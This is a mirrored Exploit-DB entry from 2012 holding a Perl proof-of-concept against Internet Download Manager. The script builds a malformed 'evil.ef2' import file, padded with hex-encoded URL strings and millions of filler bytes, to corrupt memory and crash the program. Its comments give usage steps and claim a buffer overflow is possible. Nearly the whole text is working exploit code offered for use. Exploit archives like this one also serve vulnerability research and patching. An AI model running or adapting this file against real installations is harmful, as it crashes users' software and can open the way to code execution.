Internet Download Manager – Memory Corruption - 体验盒子

作者： Dark-Puzzle

日期： 2012-08-31

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/20955/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

#!/usr/bin/perl

# 1 ========================================== 1

# 0 I'm Dark-Puzzle From Inj3ct0r TEAM 0

# 01

# 1 dark-puzzle[at]live[at]fr0

# 0 ========================================== 1

# 1White Hat 1

# 0 Independant Pentester0

# 1exploit coder/bug researcher0

# 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1

# Title: Internet Download Manager All Versions - Memory Corruption Vulnerability .

# Author : Dark-Puzzle (Souhail Hammou)

# Type : Local

# Risk : Critical

# Vendor : Tonec Inc.

# Versions : All versions supporting the IDM file importation are Vulnerable .

# Tested On : Windows XP Service Pack 2 FR 32-bits , Windows 7 FR 64-bits

# Date : 31 August 2012

# Gr337ings to : Inj3ct0r Team - Packetstormsecurity.org - Securityfocus.com - Jigsaw - Dark-Soldier ...

#Vulnerability Details : Work your skills & imagination .

#Usage : Copy this script to memorycorruption.pl

#Execute : perl memorycorruption.pl

#Howto : Go to Tasks ---> Import ---> From IDM export file ---> evil.ef2(executing file as .eif may also work )

#Taches --> Importer -> Depuis un fichier IDM ---> evil.ef2

my $hd = "\x3c\n";

my $ed = "\x3e\n";

my $ht = "\x68\x74\x74\x70\x3a\x2f\x2f";

my $lk = "\x77\x77\x77\x2e\x31\x33\x33\x37\x64\x61\x79\x2e\x63\x6f\x6d\x2f\x65\x78\x70\x6c\x6f\x69\x74\x73\x2f\x31\x39\x32\x31\x31\n";

my $fake ="\x2e\x63\x6f\x6d\x2f\x64\x61\x72\x6b\x70\x75\x7a\x7a\x6c\x65\x2e\x74\x78\x74\n";

my $txt = "\x41" x 2000000;

my $stx = "\x42" x 400000 ;

my $null = "\x00\x00"; # Not Necessary , but maybe more effective .

# Sorry Script Kiddies ...

# BOF is possible and every failed attempt will cause a Denial of Service Vulnerability .

my $file = "evil.ef2";

open ($File, ">$file");

print $File $hd.$ht.$lk.$ed.$hd.$ht.$txt.$stx.$fake.$ed;

close ($File);

print " Exploit By Dark-Puzzle \n" ;

print " Creating Evil File , Please Wait ...\n\n\n";

sleep (5);

print " Evil File Created Successfully , Happy Hunting :)\n";

# Datasec Team .